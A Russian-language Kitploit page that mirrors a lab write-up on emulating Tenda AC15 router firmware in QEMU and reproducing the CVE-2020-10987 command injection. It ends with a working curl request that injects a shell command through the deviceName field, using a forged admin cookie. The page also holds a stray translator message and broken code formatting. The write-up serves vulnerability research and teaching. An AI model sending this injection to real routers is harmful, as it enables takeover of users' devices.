Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Tenda-Router-VR-and-Exploit — Разбор рехостинга прошивки роутера Tenda AC15 и воспроизведения эксплойта удалённого выполнения команд (CVE-2020-10987). | Kitploit
Инструменты/GitHubGitHub/jaden-bowers/tenda-router-vr-and-exploit
Безопасность встроенных системБезопасность IoTАнализ уязвимостейЭксплуатацияОбратная инженерияТестирование на ПроникновениеАппаратная БезопасностьОбучение и ОбразованиеАнализ Прошивок

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Эксплуатация Бинарных Файлов
Лаборатории и Практика
GitHubjaden-bowers/tenda-router-vr-and-exploit

Tenda-Router-VR-and-Exploit

Разбор рехостинга прошивки роутера Tenda AC15 и воспроизведения эксплойта удалённого выполнения команд (CVE-2020-10987).

Репозиторий
19 месяцев назадЕщё не проверено

Tenda-Router-VR-and-Exploit

В этом материале я показываю, как именно я эмулировал веб-сервер прошивки AC15 (V15.03.05.19) с помощью QEMU, сделал его доступным из браузера хоста и использовал уязвимый обработчик /goform/setUsbUnload (CVE-2020-10987) для выполнения команд внутри эмулируемой корневой ФС.


Обзор

  • Извлечь (или в нашем случае получить) файловую систему squashfs из образа прошивки и начать реверс
  • Собрать гостевую систему Debian armhf под управлением qemu-system-arm
  • Настроить сеть гостевой системы и путь проброса портов до эмулируемого роутера
  • Создать наш загрузочный скрипт
  • Эксплуатировать эмулируемый роутер

Извлечение файловой системы

Сначала нам нужно получить образ прошивки. Мне не удалось найти ссылку на загрузку образа AC15 V15.03.05.19, однако я нашёл репозиторий GitHub с уже извлечённой файловой системой squashfs. Если бы у нас был правильный файл образа, мы могли бы извлечь его с помощью binwalk вот так:``` user@computer $ binwalk -e AC15_V15.03.05.19.bin

DECIMAL HEXADECIMAL DESCRIPTION

64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes 1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08

user@computer $ cd _AC15_V15.03.05.19.bin.extracted

root@kitploit:~
Поскольку у нас нет нужного файла образа, но есть репозиторий с уже извлечённой файловой системой, мы можем просто клонировать репозиторий.```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061

Я создал каталог VR и склонировал этот репозиторий внутри него. Мой rootfs находится по пути $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs

Отлично, теперь у нас есть прошивка AC15 V15.03.05.19. Давайте перейдём к реверсу, чтобы понять, что здесь происходит.

Reverse Engineering

Для реверса я буду использовать Ghidra 11.4.2. Перейдём к нашему целевому бинарнику rootfs/bin/httpd и загрузим его в Ghidra. Если мы перейдём к функции formsetUsbUnload, то увидим:```C uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc); doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1); FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n"); FUN_0002c6cc(param_1,"{"errCode":0}"); FUN_0002cc14(param_1,200); return;

root@kitploit:~
Это и есть уязвимость. Параметр `deviceName` напрямую передаётся в `doSystemCmd`, что позволяет нам отправлять любые команды, какие захотим.

Теперь, поскольку мы собираемся перехостить эту прошивку с помощью qemu, а не на оригинальном железе роутера, некоторые программы будут пытаться обратиться к устройствам, которых нет, и ронять наш запуск.
Так как наша цель — эксплуатировать веб-сервер (`httpd`), я сосредоточился только на перехостинге этого бинарника, а не всего процесса запуска (`/rootfs/etc_ro/init.d/rcS`). _Оглядываясь назад, я не уверен, что это было правильное решение_

Итак, просматривая `rcS`, я хотел найти всё, что `rcS` мог бы делать и что понадобилось бы `httpd`. Ближе к концу файла мы видим:```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &

rcS запускает cfmd в фоновом режиме непосредственно перед запуском остального стека. После дополнительного исследования и изучения того, как уязвимая функция отправляет команду, я пришёл к выводу, что:

  • httpd формирует cfm post
  • Затем клиент cfm общается с cfmd через UNIX-сокет (например, /var/cfm_socket)

В процедуре InitServer в cfmd мы можем видеть```C unlink("/var/cfm_socket"); strncpy(sa_unix.sun_path, "/var/cfm_socket", ...); bind(fd, (sockaddr*)&sa_unix, 0x6e); listen(fd, 5);

root@kitploit:~
Он создает UIX-сокет и прослушивает его.
В целом работает это так: обработчик читает фиксированный кадр размером 0x7e0 байт от каждого клиента (`RecvMsg`/`SendMsg`). Первые 4 байта — код команды; затем идет 512-байтный буфер ключа и 1500-байтный буфер значения (размеры объектов на стеке видны в обработчике). Он коммутирует по опкоду и отвечает кодом ACK:
- `2` -> Get: `GetCfmValue(key, value)` затем код ответа `3`
- `0` -> Set: `SetCfmValue(key, value)` затем код ответа `1`
- `0x11` -> Unset: `UnSetCfmValue(key)` затем код ответа `0x12`
- `10` -> Commit: `SaveCfm2Flash()` затем ответ `0x10` (OK) или `0xB` (ошибка)

Итак, чтобы эмулировать `cfmd`, я создал короткий скрипт `cfm_stub````C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>

#define SOCK_PATH "/var/cfm_socket"

// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
  int s = socket(AF_UNIX, SOCK_STREAM, 0);
  struct sockaddr_un addr = {0};
  if (s < 0) { perror("socket"); return 1; }
  unlink(SOCK_PATH);
  addr.sun_family = AF_UNIX;
  strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
  if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
  if (listen(s, 5) < 0) { perror("listen"); return 1; }

  for (;;) {
    int c = accept(s, NULL, NULL);
    if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
    char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
    if (n > 0) {
      // In some builds httpd asks for "lan.webiplansslen" etc.
      // Any non-empty reply that looks like an IP keeps init happy.
      const char *reply = "192.168.0.1";
      write(c, reply, strlen(reply));
    }
    close(c);
  }
  close(s);
  return 0;
}

Я покажу, как скомпилировать это, после следующей части.

Следующий вспомогательный файл — hooks.so. Есть несколько функций, используемых в httpd и cfm, которые пытаются взаимодействовать с несуществующим оборудованием. Ниже приведено то, что наша программа предполагает при запуске:

  • Разделы Flash и MTD существуют и могут быть смонтированы.
  • Устройство NVRAM существует (/dev/nvram) и возвращает разумные значения по умолчанию.
  • Различные платформенные процедуры завершаются успешно (загрузчик настроек Layer-7, восстановление мощности RF и т.д.).

Следующие функции становятся проблемой, поэтому нам приходится патчить их с помощью LD_PRELOAD=/hooks.so.

  • get_flash_type() -> если возвращается 4, код использует файловый путь (cfm_file_init), в противном случае он пытается обратиться к MTD (которого у нас нет).
  • get_cfm_blk_size_from_cache() (а также вариант j_get_cfm_blk_size_from_cache) используется для определения размера блока конфигурации.
  • Вызовы Broadcom NVRAM shims (bcm_nvram_get) не должны завершаться сбоем, иначе стек предполагает, что «NVRAM уничтожена», и переходит к логике восстановления/перезагрузки.
  • Ожидается, что дополнительные процедуры, такие как load_l7setting_file() и restore_power(), будут успешными, но они обращаются к несуществующему оборудованию/файлам.

Вот наш hooks.c. Авторство оригинала принадлежит azeria-labs.```C #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> #include <string.h>

int j_get_cfm_blk_size_from_cache(const int i) { puts("j_get_cfm_blk_size_from_cache called....\n"); return 0x20000; // 128 KiB block — what the file path expects }

int get_flash_type() { puts("get_flash_type called....\n"); return 4; // force file-backed CFM init, not MTD }

int load_l7setting_file() { puts("load_l7setting_file called....\n"); return 1; // pretend Layer-7 settings loaded OK }

int restore_power(int a, int b) { puts("restore_power called....\n"); return 0; // success (don’t touch RF/power hardware) }

char *bcm_nvram_get(char *key) { char *value = NULL;

if (strcmp(key, "et0macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works } if (strcmp(key, "sb/1/macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FD"); } if (strcmp(key, "default_nvram") == 0) { value = strdup("default_nvram"); // signals “nvram is OK” }

printf("bcm_nvram_get(%s) == %s\n", key, value); return value; }

root@kitploit:~
Теперь давайте скомпилируем эти файлы и поместим их в нашу прошивку.
Для кросс-компиляции мы можем использовать предварительно собранный тулчейн uClibc от Bootlin.```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc

The source content for this chunk is missing — the prompt ends with placeholder text ("You should see something like the following") and no actual Markdown chunk was included. Please provide the chunk content so the translation can be completed.```bash arm-buildroot-linux-uclibcgnueabi-gcc arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0 arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real arm-buildroot-linux-uclibcgnueabi-gcc-ar arm-buildroot-linux-uclibcgnueabi-gcc.br_real arm-buildroot-linux-uclibcgnueabi-gcc-nm arm-buildroot-linux-uclibcgnueabi-gcc-ranlib arm-linux-gcc arm-linux-gcc-9.3.0 arm-linux-gcc-9.3.0.br_real arm-linux-gcc-ar arm-linux-gcc.br_real arm-linux-gcc-nm arm-linux-gcc-ranlib

root@kitploit:~
Теперь мы можем скомпилировать с```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c

Затем, наконец, установите их в прошивку``` $FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs" install -m 0644 ./hooks.so "$FIRM/hooks.so" install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"

root@kitploit:~
## Создание гостевой системы ARM
Давайте настроим нашу гостевую систему ARM, используя полную эмуляцию qemu.
Я создал каталог для этой гостевой системы в `~/qsys`

Теперь в этом каталоге давайте настроим нашу гостевую систему, выполнив следующие действия.```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf

sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage

cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF

sudo chroot ~/qsys/rootfs-armhf apt-get update

sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
  net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
  ifupdown curl ca-certificates

sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'

Это создаст наш armhf rootfs, обновит нашу гостевую систему, настроит базовые инструменты, а затем установит для нашего root username:password как root:root.

Далее установите ядро armhf с помощью```bash sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp

root@kitploit:~
Затем извлекаем ядро и создаем образ ext4.```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/

dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt

Теперь, чтобы запустить нашу гостевую систему Из ~/qsys выполните```bash qemu-system-arm
-M vexpress-a9 -cpu cortex-a9 -m 512M
-kernel ./kernel/zImage
-dtb ./kernel/vexpress-v2p-ca9.dtb
-initrd ./kernel/initrd.img
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"
-nographic -audiodev none,id=noaudio
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
-drive file=./armhf.ext4,if=sd,format=raw
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fw

root@kitploit:~
Вот краткий обзор того, что на самом деле означают эти строки в команде запуска.
- `-M vexpress-a9 -cpu cortex-a9 -m 512M` Используйте модель платы Versatile Express A9 (плата, поддерживаемая ядром armmp от Debian)
- `-kernel/-dtb/-initr` Загрузите ядро/initrd Debian для этой платы с blob-файлом дерева устройств vexpress
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` Стандартная настройка rootfs на SD-карте с последовательной консолью на PL011.
- `-nographic -audiodev none,id=noaudio` Только последовательный интерфейс (без окна SDL) и без звука.
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` NAT в пользовательском режиме QEMU; проброс `host:2222` на `guest:22` и `host:8080` на `guest:80`. Это важно для работы сети. Подробнее об этом поговорим позже.
- `-device virtio-net-device,netdev=net0` Подключите сетевой адаптер (NIC) к бэкенду `net0`.
- `-drive file=./armhf.ext4,if=sd,format=raw` Корневая файловая система Debian находится на SD-подобном блочном устройстве (`/dev/mmcblk0`).
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` Предоставьте гостевой системе корневую ФС прошивки (только для чтения) через 9p с тегом `fw`. Мы смонтируем её в `/firmware` и поверх добавим overlayfs для возможности записи.

Внутри гостевой системы вы можете увидеть несколько ошибок. Это нормально, если вы дойдёте до приглашения входа и сможете войти с `root:root`.

Далее, чтобы получить интернет в нашей гостевой системе, выполните следующее```
dhclient -v eth0  ||  udhcpc -i eth0

Это позволит получить DHCP-адрес на eth0

Теперь установите socat``` apt-get update && apt-get install -y socat

root@kitploit:~
## Загрузочный скрипт
Далее создадим наш загрузочный скрипт в корневом каталоге гостевой системы.```bash
nano boot_tenda.sh

Вот наш загрузочный скрипт /root/boot_tenda_sh внутри нашей гостевой системы с комментариями, объясняющими каждый шаг.```bash set -e

bring the extracted firmware rootfs from the host into the guest

mkdir -p /firmware mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware

we need writable places (/var/cfm_socket, /tmp, logs). Overlayfs gives a writable upperdir on top of the read-only firmware tree

this creates an overlay at /firmware

for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done rm -rf /overlay_run mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw mount -t overlay overlay
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work
/mnt/fw

bind the usual pseudo filesystems

mount --bind /dev /mnt/fw/dev mount --bind /proc /mnt/fw/proc mount --bind /sys /mnt/fw/sys mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp

give the router its LAN IP (this is what httpd binds to)

the router listens on the LAN IP; we create a dummy bridge with the same address so httpd binds exactly like the real device

ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up

/dev/log for components that try to log

pidof syslogd >/dev/null || syslogd

copy UI like rcS does so the web UI files are in the served directory

chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'

start the control socket server which httpd expects on boot. Without this httpd exits early

chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' sleep 1 [ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"

start the vulnerable webserver with hooks

chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' sleep 2

relay traffic to complete path host:8080 -> guest:80 (socat) -> 192.168.0.1:80 (httpd)

find the slirp IP on eth0

GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

forward guest:eth0:80 -> 192.168.0.1:80

if command -v socat >/dev/null; then nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80
>/root/socat.log 2>&1 & else echo "socat not found" fi

show listeners

(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true

root@kitploit:~
Теперь время запустить его```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh

Вы должны увидеть, что порт 80 прослушивается процессом httpd Для дополнительной проверки перейдите по адресу http://127.0.0.1:8080/ на вашем хосте, и мы можем увидеть домашнюю страницу роутера.

Если вы хотите узнать больше о том, как работает сеть, продолжайте читать; если нет — можете перейти к последнему разделу, где мы эксплуатируем веб-сервер.

Краткий обзор того, как работает сеть

Нам нужно было загрузить httpd роутера внутри гостевой системы, но сделать его доступным из браузера хоста по адресу http://127.0.0.1:8080/, пока сервер по-прежнему считает, что он привязан к LAN-IP роутера (192.168.0.1). Три компонента обеспечивают это:

  1. Пользовательская сеть QEMU (slirp) + hostfwd
  2. Фиктивный LAN-интерфейс в гостевой системе (br0 на 192.168.0.1)
  3. Локальный TCP-ретранслятор внутри гостевой системы (socat)

1. Пользовательская сеть QEMU (slirp) + hostfwd

Мы делаем это в команде запуска, когда указываем```bash -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 -device virtio-net-device,netdev=net0

root@kitploit:~
- `-netdev user,...` включает slirp (пользовательский NAT QEMU): гостевая система получает исходящий доступ в Интернет (DHCP, DNS) без необходимости в root-мостах или TAP-устройствах на хосте.
- `hostfwd=tcp::2222-:22` перенаправляет порт хоста 2222 -> порт гостя 22.
- `hostfwd=tcp::8080-:80` перенаправляет порт хоста 8080 -> порт гостя 80.

Затем мы получаем DHCP-аренду для `eth0`. Обратите внимание, что Slirp обычно назначает гостю `10.0.2.15`, а шлюз находится на `10.0.2.2`.```bash
dhclient -v eth0  ||  udhcpc -i eth0

2. Сделайте так, чтобы LAN IP маршрутизатора существовал в гостевой системе

Реальная прошивка ожидает привязку к мосту LAN br0 по адресу 192.168.0.1. Мы воссоздаём это:```bash ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up

root@kitploit:~
Бинарники (или их библиотеки) часто запрашивают имена интерфейсов (например, `lan_ifname=br0`) и ожидают наличие bridge-устройства.
- Привязка httpd к `192.168.0.1` сохраняет поведение/редиректы (например, `302` на `http://192.168.0.1/main.html`) идентичным реальному устройству.
- На этом этапе httpd слушает только на `192.168.0.1:80` (а не на `eth0` гостевой системы).

### 3. Мост hostfwd -> слушатель прошивки с помощью `socat`
`host:8080` -> `guest:80` уже настроено QEMU. Но `httpd` не слушает на `eth0:80` гостевой системы; он слушает на `192.168.0.1:80`. Поэтому внутри гостевой системы мы добавляем крошечный TCP-ретранслятор:```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
  >/root/socat.log 2>&1 &

Вот общая структура``` Host browser (127.0.0.1:8080) │ V QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15) │ V socat in guest: 10.0.2.15:80 → 192.168.0.1:80 │ V httpd bound at 192.168.0.1:80 (inside firmware chroot)

root@kitploit:~
## Время эксплуатации
Веб-стек защищает конечные точки «goform» с помощью некоторых проверок same-origin/AJAX и cookie «logged in». Отправьте те же заголовки, которые отправлял бы JavaScript интерфейса:```bash
curl -v \
  -H 'Host: 192.168.0.1' \
  -H 'Origin: http://192.168.0.1' \
  -H 'Referer: http://192.168.0.1/index.html' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'deviceName=$(touch /tmp/Hello_World)' \
  http://127.0.0.1:8080/goform/setUsbUnload

Что именно это делает?

  • Host/Origin/Referer/X-Requested-With проходит проверки AJAX и same-origin в обработчике
  • Cookie: user=admin; password=<md5> имитирует авторизованную сессию. В данном случае я использовал md5("admin") = 21232f297a57a5a743894a0e4a801fc3
  • deviceName=$(touch /tmp/Hello_World) устанавливает имя устройства в команду, которую мы хотим выполнить. В данном случае мы создаём файл /tmp/Hello_World Примечание: выполнение этой команды зависнет на некоторое время, а затем, скорее всего, закроет соединение с ошибкой. Это нормально и является доказательством того, что всё сработало.

Далее в гостье, чтобы дополнительно убедиться, мы можем проверить наличие нашего нового файла```bash chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"

root@kitploit:~
Вы должны увидеть```
-rw-r--r--    1 root     root             0 ... /tmp/Hello_World
success it worked!

Мы успешно эксплуатировали наш перехостированный маршрутизатор, выполнив отправленную нами команду

Скачать инструмент